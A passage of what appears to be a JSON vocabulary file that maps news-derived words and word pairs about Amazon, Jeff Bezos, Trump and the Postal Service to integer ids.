60604, "instructed": 60605, "charity organization": 60606, "irritated juliette": 60607, "attempted blackmail": 60608, "traditional carriers": 60609, "conservative income": 60610, "ja rule": 60611, "website glitches": 60612, "fund campaign": 60613, "interview presidency": 60614, "office collaboration": 60615, "pressure tell": 60616, "democrats staff": 60617, "totalitarianism tyranny": 60618, "success stories": 60619, "joined groundswell": 60620, "weekly comics": 60621, "russia using": 60622, "environmental organizations": 60623, "competitive shopping": 60624, "tools mattresses": 60625, "fight wouldn": 60626, "competitive retail": 60627, "dustup 2018": 60628, "postmaster works": 60629, "based 500": 60630, "disturbing documentaries": 60631, "exports promise": 60632, "vegetarian viet": 60633, "exactly low": 60634, "automobile manufacturers": 60635, "contracts mijente": 60636, "showed exactly": 60637, "asset overlapping": 60638, "clayton act": 60639, "maggie gyllenhaal": 60640, "threatened china": 60641, "causing": 60642, "space startup": 60643, "amazon launching": 60644, "daniels tell": 60645, "plagiarized": 60646, "private projects": 60647, "news package": 60648, "including blackrock": 60649, "need maga": 60650, "rarely respected": 60651, "boyfriends older": 60652, "taylor dillard": 60653, "amazon europe": 60654, "faulkner revered": 60655, "don trump": 60656, "arizona hoover": 60657, "report amzn": 60658, "great columns": 60659, "explicit content": 60660, "wisdom applies": 60661, "kickoff 2018": 60662, "organize employees": 60663, "morning focusing": 60664, "new television": 60665, "swastika": 60666, "afternoon jacobs": 60667, "networks": 60668, "acton": 60669, "lewd personal": 60670, "media despite": 60671, "neurologist": 60672, "corrections exceed": 60673, "college free": 60674, "fearsome": 60675, "gadgetmaker": 60676, "videoplayer showflashslate": 60677, "sprawling": 60678, "nerve american": 60679, "enjoys tax": 60680, "magic": 60681, "cults": 60682, "symphonic": 60683, "policy impacts": 60684, "deforestation reporting": 60685, "smart assistant": 60686, "companies denials": 60687, "story uk": 60688, "dickerson isn": 60689, "berated": 60690, "trickle": 60691, "partnership proposal": 60692, "design implement": 60693, "marketplaces struggle": 60694, "wmhrylwn1i calitrumpgirl": 60695, "thing add": 60696, "does hope": 60697, "successive": 60698, "slaughter cause": 60699, "results analysts": 60700, "tearful krauthammer": 60701, "pharmacy": 60702, "hack jeff": 60703, "google new": 60704, "managers saying": 60705, "firm rsa": 60706, "floridahealth": 60707, "causeda lot": 60708, "nyc responded": 60709, "host doj": 60710, "sell merchandise": 60711, "disappoint investors": 60712, "presidents barack": 60713, "flipping silicon": 60714, "district brian": 60715, "bezos asking": 60716, "financial dealings": 60717, "bonus prizes": 60718, "money doing": 60719, "recently tweeted": 60720, "transportation energy": 60721, "chrysler quality": 60722, "additional equipment": 60723, "shipping minimum": 60724, "internal transfers": 60725, "defangs": 60726, "tom clancy": 60727, "read photo": 60728, "maker closed": 60729, "high maneuvers": 60730, "reasons people": 60731, "queens hiring": 60732, "retail tricks": 60733, "different message": 60734, "media report": 60735, "indian performing": 60736, "bateman": 60737, "president trumpdonald": 60738, "sent 640": 60739, "downward pressure": 60740, "government solutions": 60741, "flavors": 60742, "posts general": 60743, "powerful platform": 60744, "algebra science": 60745, "386": 60746, "legal tax": 60747, "help stem": 60748, "moore": 60749, "biggest reason": 60750, "list prices": 60751, "implies mario": 60752, "antiregulatory": 60753, "unparalleled access": 60754, "giant early": 60755, "president grew": 60756, "check ins": 60757, "stoke generational": 60758, "reuters china": 60759, "chicago sun": 60760, "refuted horror": 60761, "printed accessories": 60762, "2017 msnbc": 60763, "giulianis": 60764, "social platform": 60765, "loss pinterest": 60766, "share repurchases": 60767, "mccaskill fights": 60768, "palette cleanse": 60769, "greener": 60770, "peace": 60771, "dangerous levels": 60772, "larger game": 60773, "amerijet based": 60774, "q2 gdp": 60775, "girl indiana": 60776, "forums looking": 60777, "carroll associate": 60778, "newsfeed": 60779, "markit survey": 60780, "shayne": 60781, "recently began": 60782, "agreement clone": 60783, "prophet muhammad": 60784, "tweet writing": 60785, "rank low": 60786, "ownership increase": 60787, "governments run": 60788, "storm brought": 60789, "parties right": 60790, "trademark protection": 60791, "chief ben": 60792, "ingles": 60793, "grovel": 60794, "authorities sending": 60795, "team investigating": 60796, "users questions": 60797, "scripts recently": 60798, "reported quarterly": 60799, "administration including": 60800, "regulate flavors": 60801, "hiring reuters": 60802, "irritation manifests": 60803, "camilla duchess": 60804, "treasurer": 60805, "martin forecast": 60806, "submit letter": 60807, "roomba": 60808, "uni": 60809, "photos david": 60810, "aoc celebrated": 60811, "participants prepared": 60812, "jedi echoes": 60813, "tires wine": 60814, "lampert sears": 60815, "entire blog": 60816, "disease energy": 60817, "doral miami": 60818, "packages cases": 60819, "weaver monroeville": 60820, "benefits promises": 60821, "reality think": 60822, "point crosstalk": 60823, "tm presidency": 60824, "package distribution": 60825, "era tradition": 60826, "boeing ex": 60827, "owners reunited": 60828, "attorneys knowing": 60829, "hbk sorce": 60830, "transforms pollution": 60831, "profits hit": 60832, "blessington": 60833, "college leadership": 60834, "urgently need": 60835, "build big": 60836, "infant": 60837, "evangelical privilege": 60838, "crew brian": 60839, "year planning": 60840, "send letter": 60841, "release massive": 60842, "new probe": 60843, "causal": 60844, "pressing inequality": 60845, "jost weekend": 60846, "general assignment": 60847, "endecia brand": 60848, "spreading white": 60849, "happen wouldn": 60850, "consider acquiring": 60851, "diginomica premier": 60852, "weak demand": 60853, "1987 trump": 60854, "fact finder": 60855, "cultural nuances": 60856, "area politician": 60857, "40m shares": 60858, "introducing tons": 60859, "classmates": 60860, "carolinas": 60861, "opinion titled": 60862, "ina fassbender": 60863, "including adidas": 60864, "really fighting": 60865, "mark warner": 60866, "boss leading": 60867, "geopolitical": 60868, "philips pull": 60869, "expend unlimited": 60870, "rescheduled": 60871, "312 222": 60872, "story giving": 60873, "crony work": 60874, "scott starting": 60875, "court causes": 60876, "battery": 60877, "escalators": 60878, "family regulation": 60879, "truly introduced": 60880, "deepest national": 60881, "seaport district": 60882, "trump kim": 60883, "amy walter": 60884, "staples companies": 60885, "2007": 60886, "country congress": 60887, "literary version": 60888, "reston jeff": 60889, "big sellers": 60890, "share spiraling": 60891, "gas prices": 60892, "expert leading": 60893, "iowa backed": 60894, "inquires": 60895, "network designs": 60896, "cio represented": 60897, "yorker published": 60898, "stock cramer": 60899, "hunt donald": 60900, "artist network": 60901, "forum america": 60902, "really appreciate": 60903, "court victory": 60904, "giant contract": 60905, "cnn dismissing": 60906, "douglas domenech": 60907, "pheffer": 60908, "affiliate": 60909, "editorial independence": 60910, "pristine paradise": 60911, "post 2016": 60912, "181007060449": 60913, "usps continues": 60914, "retailers uses": 60915, "musk credits": 60916, "posting net": 60917, "news 1986019": 60918, "apparel kitchenware": 60919, "business toy": 60920, "publish explicit": 60921, "sent 130": 60922, "cooper firing": 60923, "abrams ronna": 60924, "curb amazon": 60925, "bent amazon": 60926, "theater": 60927, "later makan": 60928, "winfrey": 60929, "investjust": 60930, "barker hanger": 60931, "live spoof": 60932, "factory photo": 60933, "expand benefits": 60934, "slog": 60935, "charge trump": 60936, "zone opportunity": 60937, "missing wisconsin": 60938, "satya": 60939, "locked room": 60940, "layered hooded": 60941, "opioid abuse": 60942, "service early": 60943, "cloud protest": 60944, "week turkey": 60945, "alike": 60946, "sent note": 60947, "occupying": 60948, "unch legg": 60949, "explosive claims": 60950, "later possibly": 60951, "caused partial": 60952, "luigi": 60953, "house committee": 60954, "putting pressure": 60955, "insider olsavsky": 60956, "creamer": 60957, "years greenfield": 60958, "tightening": 60959, "general rod": 60960, "recommending slew": 60961, "dark skin": 60962, "brown whor": 60963, "ndibyj1b1f weirdralph": 60964, "warm believable": 60965, "good start": 60966, "trump alexandria": 60967, "customer cancellation": 60968, "cap carell": 60969, "nostalgia listening": 60970, "undefined jquery": 60971, "send representatives": 60972, "studs": 60973, "cabaret law": 60974, "sms": 60975, "politics technology": 60976, "director brian": 60977, "stakes 257": 60978, "infrastructure set": 60979, "1992 steve": 60980, "resume talks": 60981, "fissure soaring": 60982, "roy impressive": 60983, "carpenters pac": 60984, "book travel": 60985, "incident toby": 60986, "commission led": 60987, "discriminating": 60988, "stations travel": 60989, "irs today": 60990, "twitter told": 60991, "jon_allsop": 60992, "billion waswell": 60993, "greater washington": 60994, "slowdown ceo": 60995, "georgia resident": 60996, "feet prime": 60997, "trump gear": 60998, "travellers fleeing": 60999, "hazardous": 61000, "carell skilled": 61001, "previous version": 61002, "reasonably": 61003, "huge jump": 61004, "conglomerate discount": 61005, "cities hoping": 61006, "members contributed": 61007, "final fall": 61008, "delivery bookstores": 61009, "waving": 61010, "rescued raccoon": 61011, "voters pichai": 61012, "ellis": 61013, "amazon exploded": 61014, "easing federal": 61015, "includinghis": 61016, "missed detections": 61017, "inc_deck": 61018, "business communities": 61019, "7ga1gpzvfu cristian": 61020, "tech heavyweights": 61021, "help begin": 61022, "mst landless": 61023, "diabolical": 61024, "055 amazon": 61025, "emergency president": 61026, "service priebus": 61027, "hbo sports": 61028, "bar association": 61029, "recession sentiment": 61030, "contentious debate": 61031, "1trn amazon": 61032, "washington win": 61033, "various asks": 61034, "trump 2017": 61035, "film follows": 61036, "founder resigns": 61037, "goldstein alexisgoldstein": 61038, "words echoed": 61039, "avoided responding": 61040, "specifically constructed": 61041, "josie lawrence": 61042, "barreling": 61043, "area booze": 61044, "creating complicated": 61045, "traffic acquisition": 61046, "members rally": 61047, "articles peter": 61048, "doyle pa": 61049, "california medical": 61050, "subway access": 61051, "christmas special": 61052, "revealing incident": 61053, "coats according": 61054, "pakistan southern": 61055, "employee offices": 61056, "giants exxon": 61057, "importing": 61058, "previously attacked": 61059, "cape expects": 61060, "soccer worldcup": 61061, "tension ramping": 61062, "axios cnet": 61063, "things russia": 61064, "scribner imprint": 61065, "justice investigated": 61066, "did respond": 61067, "week people": 61068, "singer": 61069, "polyphonic gothic": 61070, "trump violates": 61071, "361": 61072, "completely fine": 61073, "lady sold": 61074, "titled response": 61075, "jeffrey": 61076, "probe attorney": 61077, "gradual rate": 61078, "space using": 61079, "contractor data": 61080, "commercialized": 61081, "different perspective": 61082, "florida joint": 61083, "strife 1965": 61084, "zuckerberg played": 61085, "melinda": 61086, "apple insistence": 61087, "disproportionately mismatched": 61088, "var videoid": 61089, "report backs": 61090, "court demanding": 61091, "political bias": 61092, "store market": 61093, "assets investment": 61094, "office": 61095, "open democracy": 61096, "till amazon": 61097, "manager finding": 61098, "campaign trump": 61099, "spending deal": 61100, "corporate office": 61101, "confidentiality saying": 61102, "think effectively": 61103, "good haircut": 61104, "guerrilla": 61105, "confidential agreement": 61106, "delivery runs": 61107, "namibia nambia": 61108, "thing jeff": 61109, "fair trade": 61110, "simotas": 61111, "digital writer": 61112, "year named": 61113, "aneurisms": 61114, "appropriate regulatory": 61115, "knocks nasdaq": 61116, "resource companies": 61117, "epa finalizes": 61118, "gymnast": 61119, "called black": 61120, "popular products": 61121, "dan know": 61122, "charges cbs": 61123, "really don": 61124, "worth 166": 61125, "2019 technology": 61126, "brazilian soybeans": 61127, "amounts": 61128, "introduced plans": 61129, "412 billion": 61130, "amie": 61131, "progressive": 61132, "paying jobs": 61133, "big bump": 61134, "sinister beneath": 61135, "store sensitive": 61136, "council geekwire": 61137, "sprawling logistics": 61138, "years interestingly": 61139, "bolsonaro speaks": 61140, "class consumers": 61141, "cap lead": 61142, "fake disgusting": 61143, "government retaliating": 61144, "donny deutsch": 61145, "business improvement": 61146, "lease trucks": 61147, "41m": 61148, "gizmodo report": 61149, "app amazon": 61150, "experiences": 61151, "adviser pointed": 61152, "david larcker": 61153, "lee calif": 61154, "grant clemency": 61155, "atif good": 61156, "politically read": 61157, "varvel": 61158, "center think": 61159, "outlets": 61160, "apparently claims": 61161, "note guwahati": 61162, "apocalypses": 61163, "fashion beauty": 61164, "ng news": 61165, "year operation": 61166, "north carolina": 61167, "rare archival": 61168, "house deliberations": 61169, "company warehouse": 61170, "good president": 61171, "homebuyers": 61172, "acquisition verdict": 61173, "traction robocall": 61174, "biggest deck": 61175, "partners afghanistan": 61176, "managing investigations": 61177, "arizona pedestrian": 61178, "kos return": 61179, "slideshow readmorearticles": 61180, "circulate": 61181, "trump presidency": 61182, "1230x1672": 61183, "donald pleasence": 61184, "jobs wage": 61185, "holds 400": 61186, "slams incessently": 61187, "stop sending": 61188, "kimmelman": 61189, "ryan plot": 61190, "parcels especially": 61191, "motivated jeff": 61192, "acting ag": 61193, "bid process": 61194, "study forbes": 61195, "tilted economic": 61196, "card delinquency": 61197, "challenges faced": 61198, "alleged inappropriate": 61199, "manufacturers complaining": 61200, "biografia jeff": 61201, "travellers": 61202, "bloomberg billionaires": 61203, "workers living": 61204, "summarized": 61205, "hot food": 61206, "company possibly": 61207, "border airs": 61208, "alphabet dropped": 61209, "sustainable agriculture": 61210, "new lease": 61211, "slammed amazon": 61212, "ensuring workers": 61213, "sector enjoyed": 61214, "videotape josh": 61215, "glenn close": 61216, "commerce volume": 61217, "mullaney says": 61218, "buffett admits": 61219, "factors including": 61220, "currency": 61221, "photo view": 61222, "baseball hat": 61223, "expectations activities": 61224, "president giving": 61225, "carefully worded": 61226, "extorted": 61227, "correctly transfer": 61228, "trump alluded": 61229, "calculation bezos": 61230, "funky": 61231, "chopping board": 61232, "customers achieve": 61233, "widely admired": 61234, "adolescent": 61235, "email lawyer": 61236, "death trump": 61237, "cuz": 61238, "ago uber": 61239, "walmart shares": 61240, "community secure": 61241, "border wsj": 61242, "233bn": 61243, "amid criticism": 61244, "correct information": 61245, "today upgrades": 61246, "team learns": 61247, "cnnvideomanager": 61248, "rupi": 61249, "apple pie": 61250, "actually drop": 61251, "forum dedicated": 61252, "chevrolet cruze": 61253, "slaughterhouse murder": 61254, "general brennan": 61255, "delivery portion": 61256, "inventories rising": 61257, "iphone apps": 61258, "bezos today": 61259, "apologizing": 61260, "debate raises": 61261, "oddly elegant": 61262, "getvideodata function": 61263, "creating cyberx": 61264, "hog": 61265, "joke unless": 61266, "word counterfeit": 61267, "protestors unfurl": 61268, "devitt": 61269, "craggy charm": 61270, "keeping": 61271, "channel": 61272, "questions outside": 61273, "sent nude": 61274, "blue print": 61275, "saved american": 61276, "philanthropic profile": 61277, "consequence": 61278, "dsa": 61279, "kevin stein": 61280, "2018 remake": 61281, "definitely rank": 61282, "future efforts": 61283, "fed officials": 61284, "nexstar": 61285, "255 368": 61286, "relevant answers": 61287, "known joined": 61288, "story playing": 61289, "missed revenue": 61290, "girls brings": 61291, "utf8 node": 61292, "grievances": 61293, "data videoid": 61294, "total sales": 61295, "store lab": 61296, "media globally": 61297, "nyc tax": 61298, "usps turning": 61299, "richard kemp": 61300, "rev billy": 61301, "state payroll": 61302, "large position": 61303, "100th": 61304, "looks bright": 61305, "railroad barons": 61306, "michael 2c": 61307, "press revealing": 61308, "platforms according": 61309, "inc_column_name_override": 61310, "img_bucketref": 61311, "kids noah": 61312, "mb ub": 61313, "snoddy": 61314, "say sole": 61315, "portray": 61316, "includes billion": 61317, "robber barons": 61318, "hannity president": 61319, "liabilities including": 61320, "2012 presidential": 61321, "suspect vehicle": 61322, "remain thedcnf": 61323, "ago reuters": 61324, "580 000": 61325, "china problem": 61326, "asia largest": 61327, "access treatment": 61328, "tough competition": 61329, "example texas": 61330, "greatest desperation": 61331, "aid survivors": 61332, "previous international": 61333, "reviling bezos": 61334, "time faculty": 61335, "rainey holds": 61336, "metro airport": 61337, "charlottesville scientists": 61338, "thrilling story": 61339, "peter dinklage": 61340, "sparked activist": 61341, "retailers class": 61342, "online shopper": 61343, "realclear": 61344, "rsa fraud": 61345, "kitchen america": 61346, "watt motor": 61347, "pisgah church": 61348, "timesdispatch": 61349, "workers suddenly": 61350, "headlineplaintext spacex": 61351, "portfolio st": 61352, "video deal": 61353, "key ice": 61354, "state new": 61355, "rights concerns": 61356, "income away": 61357, "smear": 61358, "wasn letting": 61359, "yesterday revealed": 61360, "story authorities": 61361, "conway says": 61362, "primary hub": 61363, "miller timodc": 61364, "cash notes": 61365, "quadrennial": 61366, "sufficiently passed": 61367, "billthat gives": 61368, "york symphony": 61369, "receives percentage": 61370, "conference details": 61371, "populist politics": 61372, "gates just": 61373, "leonard downie": 61374, "pg repeatedly": 61375, "type urge": 61376, "donatella": 61377, "network foto": 61378, "trump accessions": 61379, "simply dislikes": 61380, "dot 2nd": 61381, "today obama": 61382, "gafa": 61383, "musk life": 61384, "v8 sandbox": 61385, "country data": 61386, "bad job": 61387, "retroactive": 61388, "giants getty": 61389, "194 bought": 61390, "google tax": 61391, "922": 61392, "logistical heavy": 61393, "hypotheek met": 61394, "rub trump": 61395, "york wall": 61396, "millions left": 61397, "money howell": 61398, "ebay overseeing": 61399, "playbook illinois": 61400, "stop sen": 61401, "purview": 61402, "dies gay": 61403, "million votes": 61404, "new transport": 61405, "journalist based": 61406, "face searches": 61407, "gazett": 61408, "migrants cross": 61409, "target identification": 61410, "fortune wrote": 61411, "new battle": 61412, "denomination": 61413, "albawaba german": 61414, "conneaut amazon": 61415, "withamazon": 61416, "skinflint": 61417, "shopping patterns": 61418, "thing probably": 61419, "run healthcare": 61420, "administration plagued": 61421, "indoor rainforest": 61422, "formula used": 61423, "black americans": 61424, "pleasant 2017": 61425, "huge demands": 61426, "hygiene": 61427, "limited ways": 61428, "god": 61429, "trump conspired": 61430, "free robert": 61431, "eligible activities": 61432, "34th street": 61433, "produce stronger": 61434, "remove problem": 61435, "actuality": 61436, "security expert": 61437, "trouble michele": 61438, "shutdown votes": 61439, "finally showing": 61440, "presidency critics": 61441, "prepayments saying": 61442, "amazon kept": 61443, "counsel": 61444, "rates significantly": 61445, "getting worse": 61446, "worth 140": 61447, "response rates": 61448, "fortnite explainer": 61449, "forecast empire": 61450, "pasted": 61451, "writes brian": 61452, "amazon contrasts": 61453, "plan amazon": 61454, "granting amazon": 61455, "better jobs": 61456, "capitalize": 61457, "support apple": 61458, "government oversight": 61459, "review usps": 61460, "turn maduro": 61461, "contract combination": 61462, "later restored": 61463, "nvidia forecasts": 61464, "maple": 61465, "mailing community": 61466, "group wrote": 61467, "goldstein chicago": 61468, "radio commentator": 61469, "financial terms": 61470, "investments read": 61471, "2016 republican": 61472, "taxable net": 61473, "abc kavanaugh": 61474, "intelligence chiefs": 61475, "buffalo electifying": 61476, "consultancy": 61477, "immediately release": 61478, "headed tech": 61479, "negotiating tactics": 61480, "allsquare": 61481, "california missing": 61482, "artifacts": 61483, "exhibited monumental": 61484, "offset declines": 61485, "zee mario": 61486, "2n78tpk": 61487, "ception": 61488, "ironic statement": 61489, "pasturelands": 61490, "ballot scanners": 61491, "writer chin": 61492, "tallahassee shopping": 61493, "independent seller": 61494, "eligible brands": 61495, "2013 according": 61496, "congressional support": 61497, "quiz places": 61498, "smoking cigar": 61499, "thoughts hardly": 61500, "average day": 61501, "tremendous energy": 61502, "produce immersive": 61503, "called modern": 61504, "players": 61505, "common costs": 61506, "dictatorial powers": 61507, "qanon": 61508, "sector importantly": 61509, "targets undergoing": 61510, "multilateral trade": 61511, "leader reaffirmed": 61512, "just bookseller": 61513, "increasingly involved": 61514, "tell page": 61515, "news retail": 61516, "certificate program": 61517, "noticeable": 61518, "continues bezos": 61519, "unionized behemoth": 61520, "union voters": 61521, "different dinosaurs": 61522, "prepare meals": 61523, "pages": 61524, "favourite streaming": 61525, "prolonging": 61526, "trend feld": 61527, "issues collided": 61528, "mass collecting": 61529, "revenue product": 61530, "election challenge": 61531, "babies": 61532, "growing volume": 61533, "florists": 61534, "provoke constitutional": 61535, "consultant salaries": 61536, "area post": 61537, "data regarding": 61538, "traveling public": 61539, "_nkw impeach": 61540, "swiss hospital": 61541, "unconventional mortgages": 61542, "shares predicting": 61543, "post political": 61544, "buy fox": 61545, "session ticker": 61546, "turkey trade": 61547, "decry monopolistic": 61548, "sauvignon": 61549, "favorite punching": 61550, "cohen ex": 61551, "fear violence": 61552, "relevant information": 61553, "just eroding": 61554, "competitive low": 61555, "velvet": 61556, "forward mkm": 61557, "brokerage services": 61558, "reportedly recorded": 61559, "century american": 61560, "repeated accusations": 61561, "evolved sense": 61562, "rising renault": 61563, "conger": 61564, "mixed finish": 61565, "shrinking mail": 61566, "micah melton": 61567, "provided analysts": 61568, "forward woefully": 61569, "keeps mentioning": 61570, "play store": 61571, "lifestyle app": 61572, "john dingell": 61573, "peek great": 61574, "hagedorn": 61575, "chief rahul": 61576, "braunstein push": 61577, "wired explained": 61578, "project asked": 61579, "newser": 61580, "offer space": 61581, "reporters ominously": 61582, "influencing": 61583, "received purloined": 61584, "opera digest": 61585, "relate": 61586, "frederick douglass": 61587, "consider examining": 61588, "community empowerment": 61589, "metrics fell": 61590, "booming success": 61591, "utility companies": 61592, "magas simply": 61593, "leslie adler": 61594, "multilateral agreement": 61595, "american job": 61596, "image 300x200": 61597, "ride oct": 61598, "richest": 61599, "delong read": 61600, "mussels": 61601, "listings don": 61602, "u003c": 61603, "country needs": 61604, "argue amazon": 61605, "listening": 61606, "leaning organizations": 61607, "founder shane": 61608, "reuniting": 61609, "headquarters search": 61610, "private company": 61611, "2013 amazon": 61612, "mair obsession": 61613, "simply fail": 61614, "question shared": 61615, "counterfeit problem": 61616, "tao xin": 61617, "large chunk": 61618, "sure anti": 61619, "technology recently": 61620, "included photos": 61621, "322": 61622, "arista": 61623, "headquarters project": 61624, "american shoppers": 61625, "rises": 61626, "jones victory": 61627, "book writer": 61628, "kittycat": 61629, "good samaritans": 61630, "mom heads": 61631, "nyt congress": 61632, "rescued san": 61633, "feds": 61634, "jr blaze": 61635, "glorious victories": 61636, "intentionally scheduled": 61637, "gooey collectable": 61638, "cartels traffickers": 61639, "headquarters showed": 61640, "schofield": 61641, "contrast robert": 61642, "researcher sam": 61643, "deal better": 61644, "ratcheted": 61645, "2020 presidential": 61646, "venture size": 61647, "ronan": 61648, "stories feature": 61649, "amazon services": 61650, "41cgljgol2l": 61651, "letter amazon": 61652, "major credit": 61653, "arnault earned": 61654, "us16": 61655, "political broadsides": 61656, "groves": 61657, "nicotine": 61658, "news covering": 61659, "block atif": 61660, "olson share": 61661, "coffee sponsorships": 61662, "nacs": 61663, "devin nunes": 61664, "little irritated": 61665, "kindle users": 61666, "manufacturing llc": 61667, "restore checks": 61668, "bring heavy": 61669, "moose": 61670, "prices medium": 61671, "american multi": 61672, "won regional": 61673, "tariffs sharply": 61674, "president continued": 61675, "focusing": 61676, "rips macron": 61677, "silencing conservative": 61678, "account online": 61679, "economics 101": 61680, "manager bochy": 61681, "dangerous disregard": 61682, "permanently compromised": 61683, "partly stems": 61684, "original series": 61685, "fishburne balancing": 61686, "autonomous chinese": 61687, "amazon plows": 61688, "consumer protection": 61689, "93million": 61690, "return prosecutors": 61691, "recognition historically": 61692, "single headquarters": 61693, "join prime": 61694, "raw story": 61695, "stage wapo": 61696, "revenue base": 61697, "citing half": 61698, "articlebundleid": 61699, "launch party": 61700, "hike prices": 61701, "idsukavotu": 61702, "makes sense": 61703, "commission donors": 61704, "shoulder strap": 61705, "microsoft employees": 61706, "help government": 61707, "geniuses": 61708, "suggest trump": 61709, "trump weighed": 61710, "takes time": 61711, "city ut": 61712, "tapping accelerated": 61713, "emily jane": 61714, "process revealing": 61715, "nov nova": 61716, "230m": 61717, "users homes": 61718, "feature length": 61719, "interventions necessarily": 61720, "step nikki": 61721, "vanity": 61722, "realme": 61723, "tariq": 61724, "won pretend": 61725, "mansueto mansueto": 61726, "president failing": 61727, "company performance": 61728, "cuomo memory": 61729, "brand separately": 61730, "rarefied leverage": 61731, "firms currently": 61732, "wikipedia just": 61733, "florida farming": 61734, "geheimzinnige erfgenamen": 61735, "attract greater": 61736, "dryden": 61737, "prices welcomed": 61738, "markets posted": 61739, "voices": 61740, "homelessness crisis": 61741, "save act": 61742, "employing hundreds": 61743, "say wasn": 61744, "estimated 137": 61745, "trump bitter": 61746, "bragging retweeting": 61747, "pelosi comments": 61748, "start paying": 61749, "boockvar everybody": 61750, "bezos transformed": 61751, "sanders spent": 61752, "audrey hilliard": 61753, "doing": 61754, "animal slaughter": 61755, "incensed": 61756, "online asked": 61757, "doorbell pro": 61758, "field": 61759, "corporate aristocracy": 61760, "bulbous": 61761, "program funding": 61762, "bartiromo great": 61763, "straight cronyism": 61764, "violence racial": 61765, "pending sales": 61766, "finally garnering": 61767, "cruze": 61768, "heavily gentrified": 61769, "sleep": 61770, "continues image": 61771, "equipment suppliers": 61772, "right timed": 61773, "american centres": 61774, "reported sanchez": 61775, "lex luthor": 61776, "housing advocates": 61777, "certain tech": 61778, "bookstore square": 61779, "chinese markets": 61780, "different occasions": 61781, "commodities trade": 61782, "council group": 61783, "hurt jeff": 61784, "economic fallout": 61785, "regular day": 61786, "rail road": 61787, "brought making": 61788, "course home": 61789, "expect public": 61790, "steelers": 61791, "usps scam": 61792, "phoenix convention": 61793, "violent cyber": 61794, "reuters speaker": 61795, "story toke": 61796, "alisha": 61797, "travel grocery": 61798, "sexual violence": 61799, "grim gripping": 61800, "cause barack": 61801, "simply rejects": 61802, "unlawful activity": 61803, "antitrust fine": 61804, "councilwoman lisa": 61805, "traumatic events": 61806, "huge win": 61807, "populations": 61808, "kathryn hahn": 61809, "wait ad": 61810, "federal judges": 61811, "baudelaire": 61812, "business initiatives": 61813, "lg": 61814, "sessions deliver": 61815, "distinctive": 61816, "lifespans": 61817, "1148": 61818, "amy berman": 61819, "jab holdings": 61820, "growth opportunity": 61821, "publishing story": 61822, "lookner": 61823, "threw financial": 61824, "spacey foibles": 61825, "kint": 61826, "ahead midterm": 61827, "fall woefully": 61828, "obamacare essentially": 61829, "indexes": 61830, "ply toilet": 61831, "ontwitter": 61832, "death showed": 61833, "seasons words": 61834, "revenue losses": 61835, "harcourt ottolenghi": 61836, "new mayor": 61837, "rarely responds": 61838, "absorb upstart": 61839, "slidenext": 61840, "comedian tom": 61841, "wolff foto": 61842, "violate human": 61843, "analyze buying": 61844, "using vr": 61845, "shabby": 61846, "prices jumped": 61847, "eps expectations": 61848, "migrant kids": 61849, "slimme": 61850, "je ziektekosten": 61851, "competitor netscape": 61852, "advertising surged": 61853, "council immigrant": 61854, "multiple entities": 61855, "trump rabbitti": 61856, "ariz ross": 61857, "called crisis": 61858, "171 contributed": 61859, "higher rents": 61860, "sheff": 61861, "media highlight": 61862, "vilified amazon": 61863, "gf": 61864, "entertains children": 61865, "fleabag": 61866, "barracoon": 61867, "virtualization technology": 61868, "watch carell": 61869, "binding contract": 61870, "400 years": 61871, "investigation needs": 61872, "futures ahead": 61873, "farrow did": 61874, "months chris": 61875, "solution believe": 61876, "disruptors": 61877, "agency including": 61878, "wsj taliban": 61879, "jb": 61880, "local politiciansreally": 61881, "glance": 61882, "student lina": 61883, "prolonged periods": 61884, "growing negative": 61885, "ratio soir": 61886, "sanchez estimation": 61887, "wrote mandating": 61888, "staff writers": 61889, "trade tariffs": 61890, "aba": 61891, "selloff amazon": 61892, "finn": 61893, "reading amazon": 61894, "getty just": 61895, "interrelated": 61896, "instagram apparently": 61897, "trump tariffed": 61898, "separate aws": 61899, "fasa": 61900, "mark judges": 61901, "various risk": 61902, "erdrich": 61903, "say loose": 61904, "consideration god": 61905, "hit dropping": 61906, "perfectly clear": 61907, "confession": 61908, "accuse notorious": 61909, "bluntly bezos": 61910, "colossal cloud": 61911, "warriors": 61912, "williamson contributor": 61913, "law unsurprisingly": 61914, "week hulu": 61915, "killing best": 61916, "michael rourke": 61917, "apple practices": 61918, "mandate mandate": 61919, "jim halpert": 61920, "distinction unless": 61921, "tonnes": 61922, "gov": 61923, "war 2019": 61924, "steve frazier": 61925, "angeles amazon": 61926, "audience editor": 61927, "matt york": 61928, "brian 61st": 61929, "mggtecrzst": 61930, "washington offered": 61931, "transformed bezos": 61932, "space education": 61933, "financial toxicity": 61934, "flat regressive": 61935, "american slang": 61936, "baby foto": 61937, "2992 environmental": 61938, "british exit": 61939, "jewish insider": 61940, "muster": 61941, "border lorry": 61942, "actual usps": 61943, "negative reviews": 61944, "perfect gift": 61945, "local drivers": 61946, "csnac": 61947, "faller": 61948, "hot cooked": 61949, "sweaters": 61950, "defraud": 61951, "service rapid": 61952, "notwithtrump": 61953, "nov upi": 61954, "donnelly vetted": 61955, "project lorena": 61956, "flooding tennessee": 61957, "infrastructure problems": 61958, "internal challenge": 61959, "appear set": 61960, "pressure work": 61961, "saw fit": 61962, "martina mcbride": 61963, "stacy mitchell": 61964, "brings wages": 61965, "rights voting": 61966, "vocal opposition": 61967, "tm administration": 61968, "vestager remarks": 61969, "divided government": 61970, "new trump": 61971, "instance customers": 61972, "editorial rttnews": 61973, "kss": 61974, "ap nibbles": 61975, "trumpdeclared unfit": 61976, "want affordable": 61977, "fabricating": 61978, "galactic": 61979, "wildlife conservation": 61980, "tool known": 61981, "sonos charlie": 61982, "server719400": 61983, "big internet": 61984, "michaels stores": 61985, "small wholesale": 61986, "firm skdknickerbocker": 61987, "trump israel": 61988, "generally favorable": 61989, "7ctwterm 5e1040253796293795842": 61990, "quietly tucked": 61991, "comcast amgen": 61992, "history programs": 61993, "walmart kid": 61994, "fewer vendor": 61995, "million live": 61996, "varying levels": 61997, "office billions": 61998, "ad firm": 61999, "75m ultra": 62000, "simotas advocated": 62001, "legal exposure": 62002, "problem right": 62003, "2012 study": 62004, "running running": 62005, "cow pie": 62006, "assertion ryan": 62007, "creation opportunities": 62008, "double package": 62009, "extravagant": 62010, "company labor": 62011, "talks eyed": 62012, "computer industry": 62013, "david meyer": 62014, "america photographer": 62015, "rubbing": 62016, "senddonaldtospace": 62017, "second quarters": 62018, "high unemployment": 62019, "beth": 62020, "recode netflix": 62021, "licensing apple": 62022, "creswell": 62023, "ami david": 62024, "cohn feel": 62025, "washington technology": 62026, "policy decision": 62027, "jbillinson": 62028, "dsp work": 62029, "trade optimism": 62030, "sex scandal": 62031, "antitrust usps": 62032, "keziah weir": 62033, 